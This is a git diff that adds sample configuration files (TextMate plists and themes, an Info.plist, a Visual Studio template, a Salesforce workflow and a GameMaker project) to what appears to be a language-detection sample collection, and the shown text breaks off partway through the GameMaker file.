+	<key>beforeRunningCommand</key>
+	<string>nop</string>
+	<key>command</key>
+	<string>"$TM_BUNDLE_SUPPORT/bin/completion.rb"</string>
+	<key>input</key>
+	<string>none</string>
+	<key>keyEquivalent</key>
+	<string>~</string>
+	<key>name</key>
+	<string>Completion</string>
+	<key>output</key>
+	<string>afterSelectedText</string>
+	<key>scope</key>
+	<string>source.sql</string>
+	<key>uuid</key>
+	<string>AFBD4D3D-926A-44B1-91CD-2BF793BCB8FD</string>
+</dict>
+</plist>
diff --git a/samples/XML Property List/Folding.tmPreferences b/samples/XML Property List/Folding.tmPreferences
new file mode 100644
index 0000000000..4e2fb85b5a
--- /dev/null
+++ b/samples/XML Property List/Folding.tmPreferences	
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>name</key>
+	<string>Folding</string>
+	<key>scope</key>
+	<string>source.sql</string>
+	<key>settings</key>
+	<dict>
+		<key>foldingStartMarker</key>
+		<string>\s*\(\s*$</string>
+		<key>foldingStopMarker</key>
+		<string>^\s*\)</string>
+	</dict>
+	<key>uuid</key>
+	<string>497AB342-09C2-4911-A2A0-24564AFB058C</string>
+</dict>
+</plist>
diff --git a/samples/XML Property List/Man.tmLanguage b/samples/XML Property List/Man.tmLanguage
new file mode 100644
index 0000000000..6697199293
--- /dev/null
+++ b/samples/XML Property List/Man.tmLanguage	
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>fileTypes</key>
+	<array>
+		<string>man</string>
+	</array>
+	<key>name</key>
+	<string>Man</string>
+	<key>patterns</key>
+	<array>
+		<dict>
+			<key>match</key>
+			<string>^[A-Z](?&gt;\S|\s(?!\s))*$</string>
+			<key>name</key>
+			<string>markup.heading.man</string>
+		</dict>
+		<dict>
+			<key>match</key>
+			<string>((https?|ftp|file|txmt)://|mailto:)[-:@a-zA-Z0-9_.~%+/?=&amp;#]+(?&lt;![.?:])</string>
+			<key>name</key>
+			<string>markup.underline.link.man</string>
+		</dict>
+		<dict>
+			<key>match</key>
+			<string>([\w\.]+\(\d[a-z]?\))</string>
+			<key>name</key>
+			<string>markup.underline.link.internal.man</string>
+		</dict>
+		<dict>
+			<key>match</key>
+			<string>^_{2,}$</string>
+			<key>name</key>
+			<string>meta.foldingStopMarker.man</string>
+		</dict>
+	</array>
+	<key>scopeName</key>
+	<string>text.man</string>
+	<key>uuid</key>
+	<string>E8BAC30A-16BF-498D-941D-73FBAED37891</string>
+</dict>
+</plist>
diff --git a/samples/XML Property List/SpaceCadet.tmTheme b/samples/XML Property List/SpaceCadet.tmTheme
new file mode 100644
index 0000000000..98a585b2d0
--- /dev/null
+++ b/samples/XML Property List/SpaceCadet.tmTheme	
@@ -0,0 +1,214 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>author</key>
+	<string>Alex Ross</string>
+	<key>comment</key>
+	<string>Created by Alex Ross</string>
+	<key>name</key>
+	<string>SpaceCadet</string>
+	<key>semanticClass</key>
+	<string>theme.dark.spacecadet</string>
+	<key>settings</key>
+	<array>
+		<dict>
+			<key>settings</key>
+			<dict>
+				<key>background</key>
+				<string>#0D0D0D</string>
+				<key>caret</key>
+				<string>#7F005D</string>
+				<key>foreground</key>
+				<string>#DDE6CF</string>
+				<key>invisibles</key>
+				<string>#BFBFBF</string>
+				<key>lineHighlight</key>
+				<string>#00000012</string>
+				<key>selection</key>
+				<string>#40002F</string>
+			</dict>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Comment</string>
+			<key>scope</key>
+			<string>comment</string>
+			<key>settings</key>
+			<dict>
+				<key>foreground</key>
+				<string>#473C45</string>
+			</dict>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>String</string>
+			<key>scope</key>
+			<string>string</string>
+			<key>settings</key>
+			<dict>
+				<key>foreground</key>
+				<string>#805978</string>
+			</dict>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Constant</string>
+			<key>scope</key>
+			<string>constant</string>
+			<key>settings</key>
+			<dict>
+				<key>foreground</key>
+				<string>#A8885A</string>
+			</dict>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Variable</string>
+			<key>scope</key>
+			<string>variable.parameter, variable.other</string>
+			<key>settings</key>
+			<dict>
+				<key>foreground</key>
+				<string>#596380</string>
+			</dict>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Keyword</string>
+			<key>scope</key>
+			<string>keyword - keyword.operator, keyword.operator.logical</string>
+			<key>settings</key>
+			<dict>
+				<key>foreground</key>
+				<string>#728059</string>
+			</dict>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Storage</string>
+			<key>scope</key>
+			<string>storage</string>
+			<key>settings</key>
+			<dict>
+				<key>foreground</key>
+				<string>#9EBF60</string>
+			</dict>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Entity</string>
+			<key>scope</key>
+			<string>entity</string>
+			<key>settings</key>
+			<dict>
+				<key>foreground</key>
+				<string>#6078BF</string>
+			</dict>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Inherited class</string>
+			<key>scope</key>
+			<string>entity.other.inherited-class</string>
+			<key>settings</key>
+			<dict>
+				<key>fontStyle</key>
+				<string>italic</string>
+			</dict>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Support</string>
+			<key>scope</key>
+			<string>support</string>
+			<key>settings</key>
+			<dict>
+				<key>foreground</key>
+				<string>#8A4B66</string>
+			</dict>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Exception</string>
+			<key>scope</key>
+			<string>support.type.exception</string>
+			<key>settings</key>
+			<dict>
+				<key>foreground</key>
+				<string>#893062</string>
+			</dict>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Tag name</string>
+			<key>scope</key>
+			<string>entity.name.tag</string>
+			<key>settings</key>
+			<dict/>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Tag attribute</string>
+			<key>scope</key>
+			<string>entity.other.attribute-name</string>
+			<key>settings</key>
+			<dict/>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Library constant</string>
+			<key>scope</key>
+			<string>support.constant</string>
+			<key>settings</key>
+			<dict/>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Library class/type</string>
+			<key>scope</key>
+			<string>support.type, support.class</string>
+			<key>settings</key>
+			<dict/>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Library variable</string>
+			<key>scope</key>
+			<string>support.other.variable</string>
+			<key>settings</key>
+			<dict/>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Invalid</string>
+			<key>scope</key>
+			<string>invalid</string>
+			<key>settings</key>
+			<dict>
+				<key>background</key>
+				<string>#5F0047</string>
+			</dict>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>- Meta</string>
+			<key>settings</key>
+			<dict/>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>  function.section</string>
+			<key>scope</key>
+			<string>meta.function.section</string>
+			<key>settings</key>
+			<dict>
+				<key>background</key>
+				<string>#371D28</string>
+			</dict>
+		</dict>
+	</array>
+	<key>uuid</key>
+	<string>2C24E84F-F9FE-4C2E-92D2-F52198BA7E41</string>
+</dict>
+</plist>
diff --git a/samples/XML Property List/ff-man.plist b/samples/XML Property List/ff-man.plist
new file mode 100644
index 0000000000..82cd9300a3
--- /dev/null
+++ b/samples/XML Property List/ff-man.plist	
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<plist version="1.0">
+<dict>
+	<key>mandoc</key>
+	<dict>
+		<key>Enabled</key>
+		<true/>
+	</dict>
+</dict>
+</plist>
diff --git a/samples/XML Property List/info.min.plist b/samples/XML Property List/info.min.plist
new file mode 100644
index 0000000000..bbdeeea897
--- /dev/null
+++ b/samples/XML Property List/info.min.plist	
@@ -0,0 +1 @@
+<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>CFBundleExecutable</key><string>cool-retro-term</string><key>CFBundleIconFile</key><string>crt.icns</string><key>CFBundleIdentifier</key><string>com.yourcompany.cool-retro-term</string><key>CFBundlePackageType</key><string>APPL</string><key>CFBundleSignature</key><string>????</string><key>LSMinimumSystemVersion</key><string>10.13</string><key>NOTE</key><string>This file was generated by Qt/QMake.</string><key>NSPrincipalClass</key><string>NSApplication</string><key>NSSupportsAutomaticGraphicsSwitching</key><true/></dict></plist>
diff --git a/samples/XML Property List/info.plist b/samples/XML Property List/info.plist
new file mode 100644
index 0000000000..892686c0a5
--- /dev/null
+++ b/samples/XML Property List/info.plist	
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>name</key>
+	<string>EJS</string>
+	<key>uuid</key>
+	<string>8AEAD828-5085-43D2-84C3-1C530192D62C</string>
+</dict>
+</plist>
diff --git a/samples/XML Property List/man.plist b/samples/XML Property List/man.plist
new file mode 100644
index 0000000000..06a9f8f68c
--- /dev/null
+++ b/samples/XML Property List/man.plist	
@@ -0,0 +1,27 @@
+<plist>
+<array>
+<dict>
+	<key>OpenSourceProject</key>
+	<string>man</string>
+	<key>OpenSourceVersion</key>
+	<string>1.6g</string>
+	<key>OpenSourceWebsiteURL</key>
+	<string>http://primates.ximian.com/~flucifredi/man/</string>
+	<key>OpenSourceURL</key>
+	<string>http://ftp.vim.org/ibiblio/apps/doctools/man/man-1.6g.tar.gz</string>
+	<key>OpenSourceSHA512256</key>
+	<string>7163565a7c83e624f27d70c5cbe48a4da9e43eb070a7fb50db34f801452616f3</string>
+	<key>OpenSourceImportDate</key>
+	<string>2019-04-22</string>
+	<key>OpenSourceModifications</key>
+	<array>
+		<string>Disabled makewhatis, man2html, and man2dvi.</string>
+		<string>54797218: Add read-only system volume support to makewhatis.</string>
+	</array>
+	<key>OpenSourceLicense</key>
+	<string>GPL</string>
+	<key>OpenSourceLicenseFile</key>
+	<string>man.txt</string>
+</dict>
+</array>
+</plist>
diff --git a/samples/XML Property List/widget.stTheme b/samples/XML Property List/widget.stTheme
new file mode 100644
index 0000000000..6f03776a4b
--- /dev/null
+++ b/samples/XML Property List/widget.stTheme	
@@ -0,0 +1,96 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>author</key>
+	<string><%= author %></string>
+  <key>comment</key>
+  <string><%= comment %></string>
+	<key>name</key>
+	<string><%= name %></string>
+	<key>colorSpaceName</key>
+	<string>sRGB</string>
+	<key>settings</key>
+	<array>
+		<dict>
+			<key>settings</key>
+			<dict>
+				<key>background</key>
+				<string><%= ui.background.primary.hex %></string>
+				<key>caret</key>
+				<string><%= scheme.caret %></string>
+				<key>foreground</key>
+				<string><%= scheme.foreground %></string>
+				<key>invisibles</key>
+				<string><%= scheme.invisibles %></string>
+				<key>lineHighlight</key>
+				<string><%= scheme.highlight %></string>
+				<key>selection</key>
+				<string><%= scheme.selection %></string>
+				<key>selectionBorder</key>
+				<string><%= scheme.selection %></string>
+			</dict>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Comment</string>
+			<key>scope</key>
+			<string>comment</string>
+			<key>settings</key>
+			<dict>
+				<key>fontStyle</key>
+				<string>italic</string>
+				<key>foreground</key>
+				<string><%= scheme.comments %></string>
+			</dict>
+		</dict>
+		<dict>
+			<key>name</key>
+			<string>Keyword</string>
+			<key>scope</key>
+			<string>keyword, storage</string>
+			<key>settings</key>
+			<dict>
+				<key>foreground</key>
+				<string><%= scheme.keyword %></string>
+			</dict>
+		</dict>
+		<dict>
+		  <key>scope</key>
+		  <string>keyword.control.character-class</string>
+		  <key>settings</key>
+		  <dict>
+		    <key>foreground</key>
+		    <string><%= scheme.base.red %></string>
+		  </dict>
+		</dict>
+		<dict>
+			<key>scope</key>
+			<string>constant</string>
+			<key>settings</key>
+			<dict>
+				<key>foreground</key>
+				<string><%= scheme.constant %></string>
+			</dict>
+		</dict>
+		<dict>
+			<key>scope</key>
+			<string>string, keyword.operator.quantifier</string>
+			<key>settings</key>
+			<dict>
+				<key>foreground</key>
+				<string><%= scheme.string %></string>
+			</dict>
+		</dict>
+		<dict>
+			<key>scope</key>
+			<string>constant.character.escape</string>
+			<key>settings</key>
+			<dict>
+				<key>foreground</key>
+				<string><%= scheme.constantEscape %></string>
+			</dict>
+		</dict>
+	</array>
+</dict>
+</plist>
diff --git a/samples/Text/01_top.ncl b/samples/XML/01_top.ncl
similarity index 100%
rename from samples/Text/01_top.ncl
rename to samples/XML/01_top.ncl
diff --git a/samples/XML/CSharpVSPackage.vstemplate b/samples/XML/CSharpVSPackage.vstemplate
new file mode 100644
index 0000000000..8998463f7c
--- /dev/null
+++ b/samples/XML/CSharpVSPackage.vstemplate
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<VSTemplate Version="3.0.0" Type="Item" xmlns="http://schemas.microsoft.com/developer/vstemplate/2005" xmlns:sdk="http://schemas.microsoft.com/developer/vstemplate-sdkextension/2010">
+  <TemplateData>
+    <Name>Visual Studio Package</Name>
+    <Description>Visual Studio package loadable in Visual Studio</Description>
+    <Icon>VSPackage.ico</Icon>
+    <TemplateID>VsixVSPackageCSharp</TemplateID>
+    <AppliesTo>VSIX + CSharp</AppliesTo>
+    <ShowByDefault>false</ShowByDefault>
+    <ProjectType>CSharp</ProjectType>
+    <RequiredFrameworkVersion>4.5</RequiredFrameworkVersion>
+    <NumberOfParentCategoriesToRollUp>1</NumberOfParentCategoriesToRollUp>
+    <DefaultName>VSPackage.cs</DefaultName>
+  </TemplateData>
+  <TemplateContent>
+    <References>
+      <Reference>
+        <Assembly>Microsoft.CSharp</Assembly>
+      </Reference>
+      <Reference>
+        <Assembly>System</Assembly>
+      </Reference>
+      <Reference>
+        <Assembly>System.Core</Assembly>
+      </Reference>
+      <Reference>
+        <Assembly>System.Data</Assembly>
+      </Reference>
+      <Reference>
+        <Assembly>System.Design</Assembly>
+      </Reference>
+      <Reference>
+        <Assembly>System.Drawing</Assembly>
+      </Reference>
+      <Reference>
+        <Assembly>System.Windows.Forms</Assembly>
+      </Reference>
+      <Reference>
+        <Assembly>System.Xml</Assembly>
+      </Reference>
+    </References>
+
+    <ProjectItem ReplaceParameters="true" TargetFileName="$packageName$.cs" OpenInEditor="true">VsPkg.cs</ProjectItem>
+    <ProjectItem ReplaceParameters="false" TargetFileName="Resources\$packageName$.ico">Resources\Package.ico</ProjectItem>
+    <ProjectItem ReplaceParameters="true" TargetFileName="VSPackage.resx">VSPackage.resx</ProjectItem>
+    <ProjectItem ReplaceParameters="true" TargetFileName="source.extension.vsixmanifest" ItemType="None" SubType="Designer">source.extension.vsixmanifest</ProjectItem>
+
+    <CustomParameters>
+      <CustomParameter Name="$AddVsixManifestAsset$" Value="VsPackageFromSameProject" />
+      <CustomParameter Name="$productNameResourceId$" Value="110" />
+      <CustomParameter Name="$productDetailsResourceId$" Value="112" />
+      <CustomParameter Name="$iconResourceId$" Value="400" />
+      <CustomParameter Name="$packageName$" Value="$rootSafeItemName$" />
+      <CustomParameter Name="$packageGuid$" Value="$guid1$"/>
+    </CustomParameters>
+  </TemplateContent>
+  <WizardExtension>
+    <Assembly>Microsoft.Vsix.TemplatesPackage, Version=14.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</Assembly>
+    <FullClassName>Microsoft.Vsix.TemplatesPackage.VsixWizard</FullClassName>
+  </WizardExtension>
+  <WizardExtension>
+    <Assembly>NuGet.VisualStudio.Interop, Version=1.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</Assembly>
+    <FullClassName>NuGet.VisualStudio.TemplateWizard</FullClassName>
+  </WizardExtension>
+  <WizardData>
+    <packages repository="extension" repositoryId="Microsoft.Dev14.VsixTemplatesPackage.V2.443cca91-ec20-41e5-a165-f28e56b89650">
+      <package id="Microsoft.VisualStudio.OLE.Interop" version="7.10.6070" />
+      <package id="Microsoft.VisualStudio.Shell.Interop" version="7.10.6071" />
+      <package id="Microsoft.VisualStudio.TextManager.Interop" version="7.10.6070" />
+      <package id="Microsoft.VisualStudio.Shell.Interop.8.0" version="8.0.50727" />
+      <package id="Microsoft.VisualStudio.TextManager.Interop.8.0" version="8.0.50727" />
+      <package id="Microsoft.VisualStudio.Shell.Interop.9.0" version="9.0.30729" />
+      <package id="Microsoft.VisualStudio.Shell.Interop.10.0" version="10.0.30319" />
+      <package id="Microsoft.VisualStudio.Shell.Interop.11.0" version="11.0.61030" />
+      <package id="Microsoft.VisualStudio.Shell.Interop.12.0" version="12.0.30110" />
+      <package id="Microsoft.VisualStudio.Shell.14.0" version="14.3.25407" />
+      <package id="Microsoft.VisualStudio.Shell.Immutable.11.0" version="11.0.50727" />
+      <package id="Microsoft.VisualStudio.Utilities" version="14.3.25407" />
+      <package id="Microsoft.VisualStudio.Shell.Immutable.10.0" version="10.0.30319" />
+      <package id="Microsoft.VisualStudio.Shell.Immutable.14.0" version="14.3.25407" />
+      <package id="Microsoft.VisualStudio.Threading" version="14.1.111" />
+      <package id="Microsoft.VisualStudio.Shell.Immutable.12.0" version="12.0.21003" />
+      <package id="Microsoft.VisualStudio.Imaging" version="14.3.25407" />
+      <package id="Microsoft.VisualStudio.Validation" version="14.1.111" />
+      <package id="Microsoft.VSSDK.BuildTools" version="14.3.25407" />
+    </packages>
+  </WizardData>
+</VSTemplate>
\ No newline at end of file
diff --git a/samples/XML/Case.workflow b/samples/XML/Case.workflow
new file mode 100644
index 0000000000..8284cdfb32
--- /dev/null
+++ b/samples/XML/Case.workflow
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<Workflow xmlns="http://soap.sforce.com/2006/04/metadata">
+    <alerts>
+        <fullName>New_Case_Created_Email_Alert</fullName>
+        <ccEmails>grantshubsupport@cabinetoffice.gov.uk</ccEmails>
+        <description>New Case Created Email Alert</description>
+        <protected>false</protected>
+        <senderType>CurrentUser</senderType>
+        <template>unfiled$public/New_Case_Create_Email_Alert</template>
+    </alerts>
+    <rules>
+        <fullName>New Case Created</fullName>
+        <actions>
+            <name>New_Case_Created_Email_Alert</name>
+            <type>Alert</type>
+        </actions>
+        <active>true</active>
+        <formula>NOT( $Setup.Bypass__c.Workflow_Rules__c )</formula>
+        <triggerType>onCreateOnly</triggerType>
+    </rules>
+</Workflow>
\ No newline at end of file
diff --git a/samples/XML/Example.mojo b/samples/XML/Example.mojo
new file mode 100644
index 0000000000..1ddd401484
--- /dev/null
+++ b/samples/XML/Example.mojo
@@ -0,0 +1,3 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project name="Example" board="Mojo V3" language="Lucid">
+</project>
diff --git a/samples/XML/GMOculus.project.gmx b/samples/XML/GMOculus.project.gmx
new file mode 100644
index 0000000000..937474b5e0
--- /dev/null
+++ b/samples/XML/GMOculus.project.gmx
@@ -0,0 +1,779 @@
+<!--This Document is generated by GameMaker, if you edit it by hand then you do so at your own risk!-->
+<assets>
+  <Configs name="configs">
+    <Config>Configs\Default</Config>
+  </Configs>
+  <datafiles number="97" name="datafiles">
+    <datafiles number="97" name="models">
+      <datafile>
+        <name>fern.d3d</name>
+        <exists>-1</exists>
+        <size>26293</size>
+        <exportAction>2</exportAction>
+        <exportDir></exportDir>
+        <overwrite>0</overwrite>
+        <freeData>-1</freeData>
+        <removeEnd>0</removeEnd>
+        <store>0</store>
+        <ConfigOptions>
+          <Config name="Default">
+            <CopyToMask>9223372036854775807</CopyToMask>
+          </Config>
+        </ConfigOptions>
+        <filename></filename>
+      </datafile>
+      <datafile>
+        <name>tree_leaves.d3d</name>
+        <exists>-1</exists>
+        <size>10475</size>
+        <exportAction>2</exportAction>
+        <exportDir></exportDir>
+        <overwrite>0</overwrite>
+        <freeData>-1</freeData>
+        <removeEnd>0</removeEnd>
+        <store>0</store>
+        <ConfigOptions>
+          <Config name="Default">
+            <CopyToMask>9223372036854775807</CopyToMask>
+          </Config>
+        </ConfigOptions>
+        <filename></filename>
+      </datafile>
+      <datafile>
+        <name>tree_trunk.d3d</name>
+        <exists>-1</exists>
+        <size>1441</size>
+        <exportAction>2</exportAction>
+        <exportDir></exportDir>
+        <overwrite>0</overwrite>
+        <freeData>-1</freeData>
+        <removeEnd>0</removeEnd>
+        <store>0</store>
+        <ConfigOptions>
+          <Config name="Default">
+            <CopyToMask>9223372036854775807</CopyToMask>
+          </Config>
+        </ConfigOptions>
+        <filename></filename>
+      </datafile>
+      <datafile>
+        <name>fire.d3d</name>
+        <exists>-1</exists>
+        <size>129</size>
+        <exportAction>2</exportAction>
+        <exportDir></exportDir>
+        <overwrite>0</overwrite>
+        <freeData>-1</freeData>
+        <removeEnd>0</removeEnd>
+        <store>0</store>
+        <ConfigOptions>
+          <Config name="Default">
+            <CopyToMask>9223372036854775807</CopyToMask>
+          </Config>
+        </ConfigOptions>
+        <filename></filename>
+      </datafile>
+      <datafile>
+        <name>firehay.d3d</name>
+        <exists>-1</exists>
+        <size>4618</size>
+        <exportAction>2</exportAction>
+        <exportDir></exportDir>
+        <overwrite>0</overwrite>
+        <freeData>-1</freeData>
+        <removeEnd>0</removeEnd>
+        <store>0</store>
+        <ConfigOptions>
+          <Config name="Default">
+            <CopyToMask>9223372036854775807</CopyToMask>
+          </Config>
+        </ConfigOptions>
+        <filename></filename>
+      </datafile>
+      <datafile>
+        <name>1_bench.d3d</name>
+        <exists>-1</exists>
+        <size>42101</size>
+        <exportAction>2</exportAction>
+        <exportDir></exportDir>
+        <overwrite>0</overwrite>
+        <freeData>-1</freeData>
+        <removeEnd>0</removeEnd>
+        <store>0</store>
+        <ConfigOptions>
+          <Config name="Default">
+            <CopyToMask>9223372036854775807</CopyToMask>
+          </Config>
+        </ConfigOptions>
+        <filename></filename>
+      </datafile>
+      <datafile>
+        <name>2_woodstack.d3d</name>
+        <exists>-1</exists>
+        <size>14766</size>
+        <exportAction>2</exportAction>
+        <exportDir></exportDir>
+        <overwrite>0</overwrite>
+        <freeData>-1</freeData>
+        <removeEnd>0</removeEnd>
+        <store>0</store>
+        <ConfigOptions>
+          <Config name="Default">
+            <CopyToMask>9223372036854775807</CopyToMask>
+          </Config>
+        </ConfigOptions>
+        <filename></filename>
+      </datafile>
+      <datafile>
+        <name>firewood.d3d</name>
+        <exists>-1</exists>
+        <size>71465</size>
+        <exportAction>2</exportAction>
+        <exportDir></exportDir>
+        <overwrite>0</overwrite>
+        <freeData>-1</freeData>
+        <removeEnd>0</removeEnd>
+        <store>0</store>
+        <ConfigOptions>
+          <Config name="Default">
+            <CopyToMask>9223372036854775807</CopyToMask>
+          </Config>
+        </ConfigOptions>
+        <filename></filename>
+      </datafile>
+      <datafile>
+        <name>detail_particle.d3d</name>
+        <exists>-1</exists>
+        <size>9107</size>
+        <exportAction>2</exportAction>
+        <exportDir></exportDir>
+        <overwrite>0</overwrite>
+        <freeData>-1</freeData>
+        <removeEnd>0</removeEnd>
+        <store>0</store>
+        <ConfigOptions>
+          <Config name="Default">
+            <CopyToMask>9223372036854775807</CopyToMask>
+          </Config>
+        </ConfigOptions>
+        <filename></filename>
+      </datafile>
+      <datafile>
+        <name>1.d3d</name>
+        <exists>-1</exists>
+        <size>97441</size>
+        <exportAction>2</exportAction>
+        <exportDir></exportDir>
+        <overwrite>0</overwrite>
+        <freeData>-1</freeData>
+        <removeEnd>0</removeEnd>
+        <store>0</store>
+        <ConfigOptions>
+          <Config name="Default">
+            <CopyToMask>9223372036854775807</CopyToMask>
+          </Config>
+        </ConfigOptions>
+        <filename></filename>
+      </datafile>
+      <datafile>
+        <name>2.d3d</name>
+        <exists>-1</exists>
+        <size>735758</size>
+        <exportAction>2</exportAction>
+        <exportDir></exportDir>
+        <overwrite>0</overwrite>
+        <freeData>-1</freeData>
+        <removeEnd>0</removeEnd>
+        <store>0</store>
+        <ConfigOptions>
+          <Config name="Default">
+            <CopyToMask>9223372036854775807</CopyToMask>
+          </Config>
+        </ConfigOptions>
+        <filename></filename>
+      </datafile>
+      <datafile>
+        <name>roof.d3d</name>
+        <exists>-1</exists>
+        <size>103501</size>
+        <exportAction>2</exportAction>
+        <exportDir></exportDir>
+        <overwrite>0</overwrite>
+        <freeData>-1</freeData>
+        <removeEnd>0</removeEnd>
+        <store>0</store>
+        <ConfigOptions>
+          <Config name="Default">
+            <CopyToMask>9223372036854775807</CopyToMask>
+          </Config>
+        </ConfigOptions>
+        <filename></filename>
+      </datafile>
+      <datafile>
+        <name>soldier_wip.d3d</name>
+        <exists>-1</exists>
+        <size>2865876</size>
+        <exportAction>2</exportAction>
+        <exportDir></exportDir>
+        <overwrite>0</overwrite>
+        <freeData>-1</freeData>
+        <removeEnd>0</removeEnd>
+        <store>0</store>
+        <ConfigOptions>
+          <Config name="Default">
+            <CopyToMask>9223372036854775807</CopyToMask>
+          </Config>
+        </ConfigOptions>
+        <filename>soldier_wip.d3d</filename>
+      </datafile>
+    </datafiles>
+    <datafiles number="97" name="gfx">
+      <datafiles number="97" name="textures">
+        <datafile>
+          <name>firewood.png</name>
+          <exists>-1</exists>
+          <size>174237</size>
+          <exportAction>2</exportAction>
+          <exportDir></exportDir>
+          <overwrite>0</overwrite>
+          <freeData>-1</freeData>
+          <removeEnd>0</removeEnd>
+          <store>0</store>
+          <ConfigOptions>
+            <Config name="Default">
+              <CopyToMask>9223372036854775807</CopyToMask>
+            </Config>
+          </ConfigOptions>
+          <filename></filename>
+        </datafile>
+        <datafile>
+          <name>hay.png</name>
+          <exists>-1</exists>
+          <size>505638</size>
+          <exportAction>2</exportAction>
+          <exportDir></exportDir>
+          <overwrite>0</overwrite>
+          <freeData>-1</freeData>
+          <removeEnd>0</removeEnd>
+          <store>0</store>
+          <ConfigOptions>
+            <Config name="Default">
+              <CopyToMask>9223372036854775807</CopyToMask>
+            </Config>
+          </ConfigOptions>
+          <filename></filename>
+        </datafile>
+        <datafile>
+          <name>grass_hires.png</name>
+          <exists>-1</exists>
+          <size>674513</size>
+          <exportAction>2</exportAction>
+          <exportDir></exportDir>
+          <overwrite>0</overwrite>
+          <freeData>-1</freeData>
+          <removeEnd>0</removeEnd>
+          <store>0</store>
+          <ConfigOptions>
+            <Config name="Default">
+              <CopyToMask>9223372036854775807</CopyToMask>
+            </Config>
+          </ConfigOptions>
+          <filename></filename>
+        </datafile>
+        <datafile>
+          <name>bark.png</name>
+          <exists>-1</exists>
+          <size>38484</size>
+          <exportAction>2</exportAction>
+          <exportDir></exportDir>
+          <overwrite>0</overwrite>
+          <freeData>-1</freeData>
+          <removeEnd>0</removeEnd>
+          <store>0</store>
+          <ConfigOptions>
+            <Config name="Default">
+              <CopyToMask>9223372036854775807</CopyToMask>
+            </Config>
+          </ConfigOptions>
+          <filename></filename>
+        </datafile>
+        <datafile>
+          <name>fern.png</name>
+          <exists>-1</exists>
+          <size>102611</size>
+          <exportAction>2</exportAction>
+          <exportDir></exportDir>
+          <overwrite>0</overwrite>
+          <freeData>-1</freeData>
+          <removeEnd>0</removeEnd>
+          <store>0</store>
+          <ConfigOptions>
+            <Config name="Default">
+              <CopyToMask>9223372036854775807</CopyToMask>
+            </Config>
+          </ConfigOptions>
+          <filename></filename>
+        </datafile>
+        <datafile>
+          <name>leaves.png</name>
+          <exists>-1</exists>
+          <size>98373</size>
+          <exportAction>2</exportAction>
+          <exportDir></exportDir>
+          <overwrite>0</overwrite>
+          <freeData>-1</freeData>
+          <removeEnd>0</removeEnd>
+          <store>0</store>
+          <ConfigOptions>
+            <Config name="Default">
+              <CopyToMask>9223372036854775807</CopyToMask>
+            </Config>
+          </ConfigOptions>
+          <filename></filename>
+        </datafile>
+        <datafile>
+          <name>1_bench.png</name>
+          <exists>-1</exists>
+          <size>1886727</size>
+          <exportAction>2</exportAction>
+          <exportDir></exportDir>
+          <overwrite>0</overwrite>
+          <freeData>-1</freeData>
+          <removeEnd>0</removeEnd>
+          <store>0</store>
+          <ConfigOptions>
+            <Config name="Default">
+              <CopyToMask>9223372036854775807</CopyToMask>
+            </Config>
+          </ConfigOptions>
+          <filename></filename>
+        </datafile>
+        <datafile>
+          <name>woodstack.png</name>
+          <exists>-1</exists>
+          <size>642302</size>
+          <exportAction>2</exportAction>
+          <exportDir></exportDir>
+          <overwrite>0</overwrite>
+          <freeData>-1</freeData>
+          <removeEnd>0</removeEnd>
+          <store>0</store>
+          <ConfigOptions>
+            <Config name="Default">
+              <CopyToMask>9223372036854775807</CopyToMask>
+            </Config>
+          </ConfigOptions>
+          <filename></filename>
+        </datafile>
+        <datafile>
+          <name>firewood2.png</name>
+          <exists>-1</exists>
+          <size>571968</size>
+          <exportAction>2</exportAction>
+          <exportDir></exportDir>
+          <overwrite>0</overwrite>
+          <freeData>-1</freeData>
+          <removeEnd>0</removeEnd>
+          <store>0</store>
+          <ConfigOptions>
+            <Config name="Default">
+              <CopyToMask>9223372036854775807</CopyToMask>
